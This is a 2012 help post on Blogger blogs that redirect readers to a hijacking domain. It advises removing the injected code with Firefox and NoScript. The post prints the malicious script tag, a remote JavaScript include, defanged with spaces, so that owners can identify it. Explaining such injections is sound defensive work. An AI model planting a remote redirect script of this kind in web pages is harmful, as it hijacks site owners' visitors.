Blogger Blogs Redirecting To "blogspot - ping . com"

Friday, October 26, 2012

Blogger Blogs Redirecting To "blogspot - ping . com"

Today, we see the latest in the never ending saga of blog owners, who previously (maybe / maybe not recently) installed some deviously created software - whether intentionally or not - and who now find their readers unable to view their blogs, and themselves even unable to access the template editor to remove the malicious code.

My blogs are redirecting auto to ping . blogspot - ping . com", can anybody tell me how to fix this?

The malicious redirecting appears to be cause by a small snippet of JavaScript code - which has been installed, in most cases, as template HTML. Alternatively, some blog owners have added separate HTML / JavaScript gadgets, to host this code.

It's easy enough to identify - not so easy to remove, as some owners have found. In many cases, we are seeing reports that even when directly accessing the Layout wizard or Template Editor, the malicious code activates, and redirects the blog owner's browser.

Since the redirect is running from a snippet of JavaScript code, blocking the malicious code will prevent the redirection, and allow corrective access to the Layout wizard or Template Editor.

<script src='http : // ping . blogspot - ping . com / ping . js' type='text/javascript'></script>

Whichever GUI wizard you use to remove the code, remember to clear cache and restart the browser after removal and before testing for success.

Since I routinely - and consistently - use Firefox with NoScript to browse, I was able to access one victim blog without the redirection occurring, view the blog source, and extract the above code. If you use NoScript, you (the blog owner) should be likewise able to access your dashboard, and the Template Editor, and remove the bogie.

Please note that the code snippet, excerpted above, has extra spaces inserted into the URLs, to prevent advertising of the actual hijacking domain.

Anybody who knows where this bogie originated, and how it was deviously conned upon the blog owners, can help a lot of people by identifying the origin. Only when this is done, can we try to prevent the problem - rather than advise how to remove the problem.

First, install the popular Mozilla browser, Firefox. Having added Firefox, install the add-on NoScript. NoScript uses a Unix level security policy.

Deny by default, permit by exception.

Keep in mind the different trust levels of Blogger and BlogSpot - with NoScript, you will have to allow Blogger, yet forbid BlogSpot. Code from unknown domains, such as "blogspot - ping . com", will not run on any NoScript protected computer - unless you, intentionally, enable it. Knowing the threat from this bogie, you will hopefully choose to not enable this domain.